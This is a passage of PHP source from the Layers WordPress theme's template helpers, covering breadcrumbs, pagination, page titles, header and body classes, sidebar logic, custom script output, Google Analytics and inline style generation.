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<?php /**
* Template helper funtions
*
* This file is used to display general template elements, such as breadcrumbs, site-wide pagination, etc.
*
* @package Layers
* @since Layers 1.0.0
*/
/**
* Print breadcrumbs
*
* @param string $wrapper Type of html wrapper
* @param string $wrapper_class Class of HTML wrapper
* @echo string Post Meta HTML
*/
global $wp_customize;
if( !function_exists( 'layers_bread_crumbs' ) ) {
function layers_bread_crumbs( $wrapper = 'nav', $wrapper_class = 'bread-crumbs', $seperator = '/' ) {
global $post;
$current = 1;
$breadcrumbs = layers_get_bread_crumbs(); ?>
<<?php echo $wrapper; ?> class="<?php echo esc_attr( $wrapper_class ); ?>">
<ul>
<?php foreach( $breadcrumbs as $bc_key => $bc_details ){ ?>
<?php if( 1 != $current ) { ?>
<li><?php echo esc_html( $seperator ); ?></li>
<?php } ?>
<?php if( $current == count( $breadcrumbs ) ) { ?>
<li data-key="<?php echo $bc_key; ?>"><span class="current"><?php echo $bc_details[ 'label' ]; ?></span></li>
<?php } elseif( FALSE == $bc_details[ 'link' ] ) { ?>
<li data-key="<?php echo $bc_key; ?>"><?php echo $bc_details[ 'label' ]; ?></li>
<?php } else { ?>
<li data-key="<?php echo $bc_key; ?>"><a href="<?php echo $bc_details[ 'link' ]; ?>"><?php echo $bc_details[ 'label' ]; ?></a></li>
<?php } ?>
<?php $current++;
} ?>
</ul>
</<?php echo $wrapper; ?>>
<?php }
} // layers_post_meta
/**
* Get breadcrumbs
*
* @return array Breadcrumb array
*/
if( !function_exists( 'layers_get_bread_crumbs' ) ) {
function layers_get_bread_crumbs(){
global $post;
$breadcrumbs = array();
$breadcrumbs[ 'home' ] = array(
'link' => home_url(),
'label' => __( 'Home', 'layerswp')
);
if( is_search() ) {
$breadcrumbs[ 'search' ] = array(
'link' => FALSE,
'label' => __( 'Search', 'layerswp' ),
);
} elseif( function_exists('is_shop') && ( is_post_type_archive( 'product' ) || ( get_post_type() == "product") ) ) {
if( function_exists( 'wc_get_page_id' ) && '-1' != wc_get_page_id('shop') ) {
$shop_page_id = wc_get_page_id('shop');
$shop_page = get_post( $shop_page_id );
if( is_object ( $shop_page ) ) {
$breadcrumbs[ 'shop_page' ] = array(
'link' => get_permalink( $shop_page->ID ),
'label' => $shop_page->post_title,
);
}
} else {
$breadcrumbs[ 'shop_page' ] = array(
'link' => FALSE,
'label' => __( 'Shop' , 'layerswp' ),
);
}
} elseif( is_post_type_archive() || is_singular() || is_tax() ) {
// Get the post type object
$post_type = get_post_type_object( get_post_type() );
// Check if we have the relevant information we need to query the page
if( !empty( $post_type ) ) {
// Query template
if( isset( $post_type->has_archive) ) {
$pt_slug = $post_type->has_archive;
} elseif( isset( $post_type->labels->slug ) ) {
$pt_slug = $post_type->labels->slug;
}
$parentpage = layers_get_template_link( 'template-' . $pt_slug . '.php' );
// Display page if it has been found
if( !empty( $parentpage ) ) {
$breadcrumbs[ $pt_slug. '_archive_page' ] = array(
'link' => get_permalink( $parentpage->ID ),
'label' => $parentpage->post_title,
);
}
};
} elseif( is_category() ){
$parentpage = layers_get_template_link( 'template-blog.php' );
if( empty( $parentpage ) ) {
$parentpage = get_page( get_option( 'page_for_posts' ) );
}
// Display page if it has been found
if( !empty( $parentpage ) && 'post' !== $parentpage->post_type ) {
$breadcrumbs[ 'post_archive_page' ] = array(
'link' => get_permalink( $parentpage->ID ),
'label' => $parentpage->post_title,
);
}
}
/* Categories, Taxonomies & Parent Pages
- Page parents
- Category & Taxonomy parents
- Category for current post
- Taxonomy for current post
*/
if( is_page() ) {
// Start with this page's parent ID
$parent_id = $post->post_parent;
// Loop through parent pages and grab their IDs
while( $parent_id ) {
$page = get_post($parent_id);
$parent_pages[] = $page->ID;
$parent_id = $page->post_parent;
}
// If there are parent pages, output them
if( isset( $parent_pages ) && is_array($parent_pages) ) {
$parent_pages = array_reverse($parent_pages);
foreach ( $parent_pages as $page_id ) {
$c_page = get_page( $page_id );
$breadcrumbs[ $c_page->post_name . '_page' ] = array(
'link' => get_permalink( $page_id ),
'label' => $c_page->post_title,
);
}
}
} elseif( is_category() || is_tax() ) {
// Get the taxonomy object
if( is_category() ) {
$category_title = single_cat_title( "", false );
$category_id = get_cat_ID( $category_title );
$category_object = get_category( $category_id );
if( is_object( $category_object ) ) {
$term = $category_object->slug;
} else {
$term = '';
}
$taxonomy = 'category';
$term_object = get_term_by( 'slug', $term , $taxonomy );
} else {
$term = get_query_var('term' );
$taxonomy = get_query_var( 'taxonomy' );
$term_object = get_term_by( 'slug', $term , $taxonomy );
}
if( is_object( $term_object ) )
$parent_id = $term_object->parent;
else
$parent_id = FALSE;
// Start with this terms's parent ID
// Loop through parent terms and grab their IDs
while( $parent_id ) {
$cat = get_term_by( 'id' , $parent_id , $taxonomy );
$parent_terms[] = $cat->term_id;
$parent_id = $cat->parent;
}
// If there are parent terms, output them
if( isset( $parent_terms ) && is_array($parent_terms) ) {
$parent_terms = array_reverse($parent_terms);
foreach ( $parent_terms as $term_id ) {
$term = get_term_by( 'id' , $term_id , $taxonomy );
$breadcrumbs[ $term->slug ] = array(
'link' => get_term_link( $term_id , $taxonomy ),
'label' => $term->name,
);
}
}
} elseif ( is_single() && get_post_type() == 'post' ) {
// Get all post categories but use the first one in the array
$category_array = get_the_category();
foreach ( $category_array as $category ) {
$breadcrumbs[ $category->slug ] = array(
'link' => get_category_link( $category->term_id ),
'label' => get_cat_name( $category->term_id ),
);
}
} elseif( is_singular() ) {
// Get the post type object
$post_type = get_post_type_object( get_post_type() );
// If this is a product, make sure we're using the right term slug
if( is_post_type_archive( 'product' ) || ( get_post_type() == "product" ) ) {
$taxonomy = 'product_cat';
} elseif( !empty( $post_type ) && isset( $post_type->taxonomies[0] ) ) {
$taxonomy = $post_type->taxonomies[0];
};
if( isset( $taxonomy ) && !is_wp_error( $taxonomy ) ) {
// Get the terms
$terms = get_the_terms( get_the_ID(), $taxonomy );
// If this term is legal, proceed
if( is_array( $terms ) ) {
// Loop over the terms for this post
foreach ( $terms as $term ) {
$breadcrumbs[ $term->slug ] = array(
'link' => get_term_link( $term->slug, $taxonomy ),
'label' => $term->name,
);
}
}
}
}
/* Current Page / Post / Post Type
- Page / Page / Post type title
- Search term
- Curreny Taxonomy
- Current Tag
- Current Category
*/
if( is_singular() ) {
$breadcrumbs[ $post->post_name ] = array(
'link' => get_the_permalink(),
'label' => get_the_title(),
);
} elseif ( is_search() ) {
$breadcrumbs[ 'search_term' ] = array(
'link' => FALSE,
'label' => get_search_query(),
);
} elseif( is_tax() ) {
// Get this term's details
$term = get_term_by( 'slug', get_query_var('term' ), get_query_var( 'taxonomy' ) );
$breadcrumbs[ 'taxonomy' ] = array(
'link' => FALSE,
'label' => $term->name,
);
} elseif( is_tag() ) {
// Get this term's details
$term = get_term_by( 'slug', get_query_var('term' ), get_query_var( 'taxonomy' ) );
$breadcrumbs[ 'tag' ] = array(
'link' => FALSE,
'label' => single_tag_title( '', FALSE ),
);
} elseif( is_category() ) {
// Get this term's details
$term = get_term_by( 'slug', get_query_var('term' ), get_query_var( 'taxonomy' ) );
$breadcrumbs[ 'category' ] = array(
'link' => FALSE,
'label' => single_cat_title( '', FALSE ),
);
} elseif ( is_archive() && is_month() ) {
$breadcrumbs[ 'month' ] = array(
'link' => FALSE,
'label' => get_the_date( 'F Y' ),
);
} elseif ( is_archive() && is_year() ) {
$breadcrumbs[ 'year' ] = array(
'link' => FALSE,
'label' => get_the_date( 'F Y' ),
);
} elseif ( is_archive() && is_author() ) {
$breadcrumbs[ 'author' ] = array(
'link' => FALSE,
'label' => get_the_author(),
);
}
return apply_filters( 'layers_breadcrumbs' , $breadcrumbs );
}
}
/**
* Print pagination
*
* @param array $args Arguments for this function, including 'query', 'range'
* @param string $wrapper Type of html wrapper
* @param string $wrapper_class Class of HTML wrapper
* @echo string Post Meta HTML
*/
if( !function_exists( 'layers_pagination' ) ) {
function layers_pagination( $args = NULL , $wrapper = 'div', $wrapper_class = 'pagination' ) {
// Set up some globals
global $wp_query, $paged;
// Get the current page
if( empty($paged ) ) $paged = ( get_query_var('page') ? get_query_var('page') : 1 );
// Set a large number for the 'base' argument
$big = 99999;
// Get the correct post query
if( !isset( $args[ 'query' ] ) ){
$use_query = $wp_query;
} else {
$use_query = $args[ 'query' ];
} ?>
<<?php echo $wrapper; ?> class="<?php echo $wrapper_class; ?>">
<?php echo paginate_links( array(
'base' => str_replace( $big, '%#%', get_pagenum_link($big) ),
'prev_next' => true,
'mid_size' => ( isset( $args[ 'range' ] ) ? $args[ 'range' ] : 3 ) ,
'prev_text' => '←',
'next_text' => '→',
'type' => 'list',
'current' => $paged,
'total' => $use_query->max_num_pages
) ); ?>
</<?php echo $wrapper; ?>>
<?php }
} // layers_pagination
/**
* Get Page Title
*
* Returns an array including the title and excerpt used across the site
*
* @param array $args Arguments for this function, including 'query', 'range'
* @echo array $title_array Section Title & Excerpt
*/
if( !function_exists( 'layers_get_page_title' ) ) {
function layers_get_page_title() {
global $post;
// Setup return
$title_array = array();
if(!empty($parentpage) && !is_search()) {
$parentpage = layers_get_template_link( get_post_type().".php");
$title_array['title'] = $parentpage->post_title;
if($parentpage->post_excerpt != ''){ $title_array['excerpt'] = $parentpage->post_excerpt; }
} elseif( function_exists('is_shop') && ( is_post_type_archive( 'product' ) || ( get_post_type() == "product") ) ) {
if( function_exists( 'wc_get_page_id' ) && -1 != wc_get_page_id('shop') ) {
$shop_page = get_post( wc_get_page_id('shop') );
if( is_object( $shop_page ) ) {
$title_array['title' ] = $shop_page->post_title;
}
} else {
$title_array['title' ] = __( 'Shop' , 'layerswp' );
}
} elseif( is_page() ) {
while ( have_posts() ) { the_post();
$title_array['title'] = get_the_title();
if( $post->post_excerpt != "") $title_array['excerpt'] = strip_tags( get_the_excerpt() );
};
} elseif( is_search() ) {
$title_array['title'] = __( 'Search' , 'layerswp' );
$title_array['excerpt'] = get_search_query();
} elseif( is_tag() ) {
$title_array['title'] = single_tag_title( '' , false );
$title_array['excerpt'] = get_the_archive_description();
} elseif( !is_page() && is_category() ) {
$title_array['title'] = single_cat_title( '', false );
$title_array['excerpt'] = get_the_archive_description();
} elseif (!is_page() && get_query_var('term' ) != '' ) {
$term = get_term_by( 'slug', get_query_var('term' ), get_query_var( 'taxonomy' ) );
$title_array['title'] = $term->name;
$title_array['excerpt'] = $term->description;
} elseif( is_author() ) {
$title_array['title'] = get_the_author();
$title_array['excerpt'] = get_the_author_meta('user_description');
} elseif ( is_day() ) {
$title_array['title' ] = sprintf( __( 'Daily Archives: %s' , 'layerswp' ), get_the_date() );
} elseif ( is_month() ) {
$title_array['title' ] = sprintf( __( 'Monthly Archives: %s' , 'layerswp' ), get_the_date( _x( 'F Y', 'monthly archives date format' , 'layerswp' ) ) );
} elseif ( is_year() ) {
$title_array['title' ] = sprintf( __( 'Yearly Archives: %s' , 'layerswp' ), get_the_date( _x( 'Y', 'yearly archives date format' , 'layerswp' ) ) );
} elseif( is_single() ) {
$title_array['title' ] = get_the_title();
} else {
$title_array['title' ] = __( 'Archives' , 'layerswp' );
}
return apply_filters( 'layers_get_page_title' , $title_array );
}
} // layers_get_page_title
/**
* Set body classes.
*/
if( !function_exists( 'layers_body_class' ) ) {
function layers_body_class( $classes ){
$header_menu_layout = layers_get_theme_mod( 'header-menu-layout');
$header_sticky_option = layers_get_theme_mod( 'header-sticky' );
$header_overlay_option = layers_get_theme_mod( 'header-overlay');
$left_sidebar_active = layers_can_show_sidebar( 'left-sidebar' );
$right_sidebar_active = layers_can_show_sidebar( 'right-sidebar' );
// Handle menu layout
$classes[] = 'body-' . $header_menu_layout;
// Handle sticky / not sticky
if( TRUE == $header_sticky_option && 'header-sidebar' != $header_menu_layout ){
$classes[] = 'layers-header-sticky';
}
// Handle overlay / not overlay
if( TRUE == $header_overlay_option && 'header-sidebar' != $header_menu_layout ){
$classes[] = 'layers-header-overlay';
}
// Add class that spans across all post archives and single pages
if( layers_is_post_list_template() || is_archive() || is_singular( 'post' ) ) {
$classes[] = 'layers-post-page';
}
// Handle overlay / not overlay
if( TRUE == layers_get_theme_mod( 'enable-scroll-animations' ) ){
$classes[] = 'layers-scroll-animate';
}
if( ( is_single() || is_archive() ) && !$left_sidebar_active && !$right_sidebar_active ){
$classes[] = 'no-sidebar';
}
if( ( is_single() || is_archive() ) && $left_sidebar_active ) {
$classes[] = 'left-sidebar';
}
if( ( is_single() || is_archive() ) && $right_sidebar_active ) {
$classes[] = 'right-sidebar';
}
return apply_filters( 'layers_body_class', $classes );
}
} // layers_body_class
add_action( 'body_class', 'layers_body_class' );
/**
* Check for a Layers Blog List Page
*/
if( !function_exists( 'layers_is_post_list_template' ) ) {
function layers_is_post_list_template() {
if(
is_page_template( 'template-blog.php' ) ||
is_page_template( 'template-both-sidebar.php' ) ||
is_page_template( 'template-left-sidebar.php' ) ||
is_page_template( 'template-right-sidebar.php' ) ){
return TRUE;
} else {
return FALSE;
}
}
}
// /**
// * Register Header partials.
// */
// add_action( 'customize_register', 'layers_register_header_partials' );
// function layers_register_header_partials( $wp_customize ) {
// // Add Global partial.
// $wp_customize->selective_refresh->add_partial(
// 'layers_header_customization_partial',
// array(
// 'selector' => '.layers_header_partial_holder',
// 'settings' => layers_get_partial_settings( 'layers_header_customization_partial' ),
// 'render_callback' => 'layers_apply_header_customizations',
// )
// );
// }
// /**
// * Add temp element to target for the partial as we are not replacing content,
// * but rather just adding a <style> block, and it allows the little pen icon to appear.
// */
// add_action( 'wp_footer', 'layers_add_header_partial_holder' );
// function layers_add_header_partial_holder() {
// global $wp_customize;
// if ( $wp_customize ) {
// echo '<div class="layers_header_partial_holder"></div>';
// }
// }
// /**
// * Apply Herder customizations.
// */
// add_action( 'wp_enqueue_scripts', 'layers_apply_header_customizations', 60 );
// function layers_apply_header_customizations() {
// // Bail if not Layers.
// $theme = wp_get_theme();
// if ( 'layerswp' !== $theme->template ) return;
// // Collect CSS.
// $css = '';
// /**
// * Body - Background.
// */
// $bg_color = layers_get_theme_mod( 'body-background-color', FALSE );
// if( '' != $bg_color ) {
// $css .= layers_inline_styles("
// /***layers_header_styling***/ .wrapper-content {
// background-color: {$bg_color};
// }
// ");
// }
// // If this function is used by a partial too - this replaces the lines by JS.
// layers_pro_replace_customizer_css( '/***layers_header_styling***/', $css );
// }
/**
* Apply Customizer settings to site housing
*/
if( !function_exists( 'layers_apply_customizer_styles' ) ) {
function layers_apply_customizer_styles() {
/**
* Setup the colors to use below
*/
$main_color = layers_get_theme_mod( 'site-accent-color' , TRUE );
$header_color = layers_get_theme_mod( 'header-background-color', FALSE );
$footer_color = layers_get_theme_mod( 'footer-background-color', FALSE );
/**
* Header Colors
*/
$bg_opacity = 1;
// Apply the BG Color
if( '' != $header_color ) {
layers_inline_styles( '.header-site, .header-site.header-sticky', 'css', array(
'css' => 'background-color: rgba(' . implode( ', ' , layers_hex2rgb( $header_color ) ) . ', ' . $bg_opacity . '); '
));
// Add Invert if the color is not light
if ( 'dark' == layers_is_light_or_dark( $header_color ) ){
add_filter( 'layers_header_class', 'layers_add_invert_class' );
}
}
/**
* General Colors
*/
if( '' != $header_color ) {
// Title Container
layers_inline_styles( '.title-container', 'background', array( 'background' => array( 'color' => $header_color ) ) );
if ( 'dark' == layers_is_light_or_dark( $header_color ) ){
add_filter( 'layers_title_container_class', 'layers_add_invert_class' );
}
}
if( '' != $main_color ) {
// Buttons
layers_inline_button_styles( '', 'button', array(
'selectors' => array(
'input[type="button"]', 'input[type="submit"]', 'button', '.button', '.form-submit input[type="submit"]',
// Inverts
'.invert input[type="button"]', '.invert input[type="submit"]', '.invert button', '.invert .button', '.invert .form-submit input[type="submit"]',
),
'button' => array(
'background-color' => $main_color,
)
));
// Content - Links
layers_inline_styles( array(
'selectors' => array( '.copy a:not(.button)', '.story a:not(.button)' ),
'css' => array(
'color' => $main_color,
'border-bottom-color' => $main_color,
),
));
layers_inline_styles( array(
'selectors' => array( '.copy a:not(.button):hover', '.story a:not(.button):hover' ),
'css' => array(
'color' => layers_too_light_then_dark( $main_color ),
'border-bottom-color' => layers_too_light_then_dark( $main_color ),
),
));
// Debugging:
global $wp_customize;
if ( $wp_customize && ( ( bool ) layers_get_theme_mod( 'dev-switch-button-css-testing' ) ) ) {
echo '<pre style="font-size:11px;">';
echo 'RE: Buttons - This should not happen if Layers Pro is active!';
echo '</pre>';
}
}
/**
* Footer Colors.
*/
if( '' != $footer_color ) {
// Apply the BG Color
layers_inline_styles( '.footer-site', 'background', array(
'background' => array(
'color' => $footer_color,
),
));
// Add Invert if the color is dark
if ( 'dark' == layers_is_light_or_dark( $footer_color ) ) {
add_filter( 'layers_footer_site_class', 'layers_add_invert_class' );
}
}
}
}
add_action( 'wp_enqueue_scripts', 'layers_apply_customizer_styles', 50 );
/**
* Helpers that simply add/remove the invert class to an array of classes.
* For use in conjunction with Filters.
*
* @param array $class Existing array of classes passed by the filter.
*/
if( !function_exists( 'layers_add_invert_class' ) ) {
function layers_add_invert_class( $classes ) {
$classes[] = 'invert';
return $classes;
}
}
if( !function_exists( 'layers_remove_invert_class' ) ) {
function layers_remove_invert_class( $classes ) {
$classes = array_diff( $classes, array( 'invert' ) );
return $classes;
}
}
/**
* Helper that checks if a color is light or dark then hooks an invert filter to a get_class.
*
* @param string $color Hex color to check aginst.
* @param string $hook Name of the to add the 'invert' to if the color is dark.
*
* @return bool Whether the color was dark, hook exists, invert was hooked successfuly
*/
if( !function_exists( 'layers_maybe_set_invert' ) ) {
function layers_maybe_set_invert( $color, $hook ) {
if ( 'dark' == layers_is_light_or_dark( $color ) ) {
return add_filter( $hook, 'layers_add_invert_class' );
}
else {
return add_filter( $hook, 'layers_remove_invert_class' );
}
}
}
/**
* Retrieve the classes for the header element as an array.
*
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
if( !function_exists( 'layers_get_header_class' ) ) {
function layers_get_header_class( $class = '' ){
$header_menu_layout = layers_get_theme_mod( 'header-menu-layout');
$header_align_option = layers_get_theme_mod( 'header-menu-layout' );
$header_sticky_option = layers_get_theme_mod( 'header-sticky' );
$header_overlay_option = layers_get_theme_mod( 'header-overlay');
$header_full_width_option = layers_get_theme_mod( 'header-width' );
$header_background_color_option = layers_get_theme_mod( 'header-background-color' );
$classes = array();
// Add the general site header class
$classes[] = 'header-site';
// Handle sticky / not sticky
if( TRUE == $header_sticky_option && 'header-sidebar' != $header_menu_layout ){
$classes[] = 'header-sticky';
}
// Handle overlay / not overlay
if( TRUE == $header_overlay_option && 'header-sidebar' != $header_menu_layout ){
$classes[] = 'header-overlay';
}
// Add full-width class
if( 'layout-fullwidth' == $header_full_width_option ) {
$classes[] = 'content';
}
// Add alignment classes
if( 'header-logo-left' == $header_align_option ){
$classes[] = 'header-left';
} else if( 'header-logo-right' == $header_align_option ){
$classes[] = 'header-right';
} else if( 'header-logo-top' == $header_align_option ){
$classes[] = 'nav-clear';
} else if( 'header-logo-center-top' == $header_align_option ){
$classes[] = 'header-center';
} else if( 'header-logo-center' == $header_align_option ){
$classes[] = 'header-inline';
}
if ( ! empty( $class ) ) {
if ( !is_array( $class ) )
$class = preg_split( '#\s+#', $class );
$classes[] = array_merge( $classes, $class );
} else {
// Ensure that we always coerce class to being an array.
$class = array();
}
// Default to Header Left if there are no matches above
if( empty( $classes ) ) $classes[] = 'header-left';
$classes = apply_filters( 'layers_header_class', $classes, $class );
return $classes;
}
} // layers_get_header_class
/**
* Display the classes for the header element.
*
* @param string|array $class One or more classes to add to the class list.
*/
if( !function_exists( 'layers_header_class' ) ) {
function layers_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for body element
echo 'class="' , join( ' ', layers_get_header_class( $class ) ) , '"';
}
} // layers_header_class
/**
* Retrieve the classes for the wrapper element as an array.
*
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
if( !function_exists( 'layers_get_site_wrapper_class' ) ) {
function layers_get_site_wrapper_class( $class = '' ){
$classes = array();
$classes[] = 'wrapper-site';
$classes = apply_filters( 'layer_site_wrapper_class', $classes, $class );
return $classes;
}
} // layers_get_site_wrapper_class
/**
* Display the classes for the wrapper element.
*
* @param string|array $class One or more classes to add to the class list.
*/
if( !function_exists( 'layer_site_wrapper_class' ) ) {
function layer_site_wrapper_class( $class = '' ) {
// Separates classes with a single space, collates classes for body element
echo 'class="' , join( ' ', layers_get_site_wrapper_class( $class ) ) , '"';
}
} // layer_site_wrapper_class
/**
* Retrieve the classes for the wrapper content element as an array.
*
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
if( !function_exists( 'layers_get_wrapper_content_class' ) ) {
function layers_get_wrapper_content_class( $class = '' ){
$classes = array();
$classes[] = 'wrapper-content';
$classes = apply_filters( 'layers_wrapper_content_class', $classes, $class );
return $classes;
}
}
/**
* Display the classes for the wrapper content element.
*
* @param string|array $class One or more classes to add to the class list.
*/
if( !function_exists( 'layers_wrapper_content_class' ) ) {
function layers_wrapper_content_class( $class = '' ) {
// Separates classes with a single space, collates classes for body element
echo 'class="' , join( ' ', layers_get_wrapper_content_class( $class ) ) , '"';
}
}
/**
* Retrieve the classes for the center column on archive and single pages
*
* @param string $postid Post ID to check the page template on
* @return array Array of classes.
*/
if( !function_exists( 'layers_get_center_column_class' ) ) {
function layers_get_center_column_class( $class = '' ){
$classes = array();
// This div will always have the .column class
$classes[] = 'column';
$left_sidebar_active = layers_can_show_sidebar( 'left-sidebar' );
$right_sidebar_active = layers_can_show_sidebar( 'right-sidebar' );
// Set classes according to the sidebars
if( $left_sidebar_active && $right_sidebar_active ){
$classes[] = 'span-6';
} else if( $left_sidebar_active ){
$classes[] = 'span-8';
} else if( $right_sidebar_active ){
$classes[] = 'span-8';
} else {
$classes[] = 'span-12';
}
// If there is a left sidebar and no right sidebar, add the no-gutter class
if( $left_sidebar_active && !$right_sidebar_active ){
$classes[] = 'no-gutter';
}
// Default to Header Left if there are no matches above
if( empty( $classes ) ) {
$classes[] = 'span-8';
}
// Apply any classes passed as parameter
if( '' != $class ) $classes[] = $class;
$classes = array_map( 'esc_attr', $classes );
$classes = apply_filters( 'layers_center_column_class', $classes, $class );
return array_unique( $classes );
}
} // layers_get_center_column_class
/**
* Display the classes for the header element.
*
* @param string|array $class One or more classes to add to the class list.
*/
if( !function_exists( 'layers_center_column_class' ) ) {
function layers_center_column_class( $class = '' ) {
// Separates classes with a single space, collates classes for body element
echo 'class="' , join( ' ', layers_get_center_column_class( $class ) ) , '"';
}
} // layers_center_column_class
/**
* Display the classes for the wrapper content element.
*
* @param string $key Key to be used to populate the filter.
* @param string $class One or more classes to add to the class list.
*/
if( !function_exists( 'layers_wrapper_class' ) ) {
function layers_wrapper_class( $key = '', $class = '' ) {
echo 'class="' , join( ' ', layers_get_wrapper_class( $key, $class ) ) , '"';
}
}
/**
* Get the classes for the wrapper content element.
*
* @param string $key Key to be used to populate the filter.
* @param string $class One or more classes to add to the class list.
*
* @return string html style list of classes
*/
if( !function_exists( 'layers_get_wrapper_class' ) ) {
function layers_get_wrapper_class( $key = '', $class = '' ) {
$classes = explode( ' ', $class ); // Convert string of classes to an array
return apply_filters( 'layers_' . $key . '_class', $classes );
}
}
/**
* Retrieve theme modification value for the current theme.
*
* @param string $name Theme modification name.
* @param string $allow_empty Whether the Theme modification should return empty, or the default, if no value is set.
* @return string
*/
if( !function_exists( 'layers_get_theme_mod' ) ) {
function layers_get_theme_mod( $name = '', $allow_empty = TRUE ) {
global $layers_customizer_defaults;
// Add the theme prefix to our layers option
$name = LAYERS_THEME_SLUG . '-' . $name;
// Set theme option default
$default = ( isset( $layers_customizer_defaults[ $name ][ 'value' ] ) ? $layers_customizer_defaults[ $name ][ 'value' ] : FALSE );
// Get theme option
$theme_mod = get_theme_mod( $name, $default );
// Template can choose whether to allow empty
if ( '' == $theme_mod && FALSE == $allow_empty && FALSE != $default ) {
$theme_mod = $default;
}
// Return theme option
return $theme_mod;
}
} // layers_get_header_class
/**
* Check customizer and page template settings before allowing a sidebar to display
*
* @param int $sidebar Sidebar slug to check
*/
if( !function_exists( 'layers_can_show_sidebar' ) ) {
function layers_can_show_sidebar( $sidebar = 'left-sidebar' ){
if ( is_page_template( 'template-blog.php' ) ) {
// Check the arhive page option
$can_show_sidebar = layers_get_theme_mod( 'archive-' . $sidebar );
} else if( is_page() ) {
// Check the pages use page templates to decide which sidebars are allowed
$can_show_sidebar =
(
is_page_template( 'template-' . $sidebar . '.php' ) ||
is_page_template( 'template-both-sidebar.php' )
);
} elseif ( is_single() ) {
// Check the single page option
$can_show_sidebar = layers_get_theme_mod( 'single-' . $sidebar );
} else {
// Check the arhive page option
$can_show_sidebar = layers_get_theme_mod( 'archive-' . $sidebar );
}
return $classes = apply_filters( 'layers_can_show_sidebar', $can_show_sidebar, $sidebar );
}
}
/**
* Check customizer and page template settings before displaying a sidebar
*
* @param int $sidebar Sidebar slug to check
* @param string $container_class Sidebar container class
* @return html $sidebar Sidebar template
*/
if( !function_exists( 'layers_maybe_get_sidebar' ) ) {
function layers_maybe_get_sidebar( $sidebar = 'left', $container_class = 'column', $return = FALSE ) {
global $post;
$show_sidebar = layers_can_show_sidebar( $sidebar );
if( TRUE == $show_sidebar ) { ?>
<?php if( is_active_sidebar( LAYERS_THEME_SLUG . '-' . $sidebar ) ) { ?>
<div class="<?php echo esc_attr( $container_class ); ?>">
<?php } ?>
<?php dynamic_sidebar( LAYERS_THEME_SLUG . '-' . $sidebar ); ?>
<?php if( is_active_sidebar( LAYERS_THEME_SLUG . '-' . $sidebar ) ) { ?>
</div>
<?php } ?>
<?php }
}
} // layers_get_header_class
/**
* Include additional scripts in the side footer
*
* @return html $additional_header_scripts Scripts to be included in the header
*/
if( !function_exists( 'layers_add_additional_header_scripts' ) ) {
function layers_add_additional_header_scripts() {
$add_additional_header_scripts = apply_filters( 'layers_header_scripts' , layers_get_theme_mod( 'header-custom-scripts' ) );
if( '' != $add_additional_header_scripts ) {
echo '<script>' , trim( htmlspecialchars_decode( $add_additional_header_scripts ) ) , '</script>';
}
}
} // layers_add_additional_header_scripts
add_action ( 'wp_head', 'layers_add_additional_header_scripts' );
/**
* Include additional scripts in the side footer
*
* @return html $additional_header_scripts Scripts to be included in the header
*/
if( !function_exists( 'layers_add_additional_footer_scripts' ) ) {
function layers_add_additional_footer_scripts() {
$additional_footer_scripts = apply_filters( 'layers_footer_scripts' , layers_get_theme_mod( 'footer-custom-scripts' ) );
if( '' != $additional_footer_scripts ) {
echo '<script>' , stripslashes( htmlspecialchars_decode( $additional_footer_scripts ) ) , '</script>';
}
}
} // layers_add_additional_header_scripts
add_action ( 'wp_footer', 'layers_add_additional_footer_scripts' );
/**
* Include Google Analytics
*
* @return html $scripts Prints Google Analytics
*/
if( !function_exists( 'layers_add_google_analytics' ) ) {
function layers_add_google_analytics() {
global $wp_customize;
// Bail if in customizer.
if( isset( $wp_customize ) ) return;
$analytics_id = layers_get_theme_mod( 'header-google-id' );
if( TRUE == layers_get_theme_mod( 'disable-google-logged-in' ) && is_user_logged_in() ) return;
if ( '' != $analytics_id ) { ?>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', '<?php echo $analytics_id; ?>', 'auto');
ga('send', 'pageview');
</script>
<?php }
}
} // layers_add_google_analytics
add_action ( 'wp_print_scripts', 'layers_add_google_analytics' );
/**
* Style Generator
*
* @param string $container_id ID of the container if any
* @param string $type Type of style to generate, background, color, text-shadow, border
* @param array $args $args array
*/
if( !function_exists( 'layers_inline_styles' ) ) {
function layers_inline_styles( $arg1 = NULL, $arg2 = NULL, $arg3 = NULL ){
if ( 3 == func_num_args() ) {
// layers_inline_styles( '#element', 'background', array( 'selectors' => '.element', 'background' => array( 'color' => '#FFF' ) ) );
$container_id = $arg1; $type = $arg2; $args = $arg3;
}
elseif ( 2 == func_num_args() ) {
// layers_inline_styles( '#element', array( 'selectors' => array( '.element' ), 'css' => array( 'color' => '#FFF' ) ) );
$container_id = $arg1; $type = 'css'; $args = $arg2;
}
elseif ( 1 == func_num_args() ) {
// layers_inline_styles( array( 'selectors' => array( '.element' ), 'css' => array( 'color' => '#FFF' ) ) );
// layers_inline_styles( '.element { color: #FFF; }' );
$container_id = NULL; $type = 'css'; $args = $arg1;
}
// Get the generated CSS
global $layers_inline_css;
$css = '';
if( empty( $args ) || ( !is_array( $args ) && '' == $args ) ) return;
switch ( $type ) {
case 'background' :
// Set the background array
$bg_args = $args['background'];
if( isset( $bg_args['style'] ) && 'transparent' == $bg_args['style'] ){
$css .= 'background-color: transparent; ';
} else if( isset( $bg_args['style'] ) && 'gradient' == $bg_args['style'] ){
if( !isset( $bg_args['image'] ) || ( isset( $bg_args['image'] ) && '' == $bg_args['image'] ) ){
$css .= 'background: linear-gradient( ' . $bg_args[ 'gradient-direction' ] . 'deg , ' . $bg_args[ 'gradient-start-color' ] . ', ' . $bg_args['gradient-end-color'] . ');';
}
} else {
if( isset( $bg_args['color'] ) && '' != $bg_args['color'] ){
$css .= 'background-color: ' . $bg_args['color'] . '; ';
}
}
if( isset( $bg_args['repeat'] ) && '' != $bg_args['repeat'] ){
$css .= 'background-repeat: ' . $bg_args['repeat'] . ';';
}
if( isset( $bg_args['position'] ) && '' != $bg_args['position'] ){
$css .= 'background-position: ' . $bg_args['position'] . ';';
}
if( isset( $bg_args['stretch'] ) && '' != $bg_args['stretch'] ){
$css .= 'background-size: cover;';
}
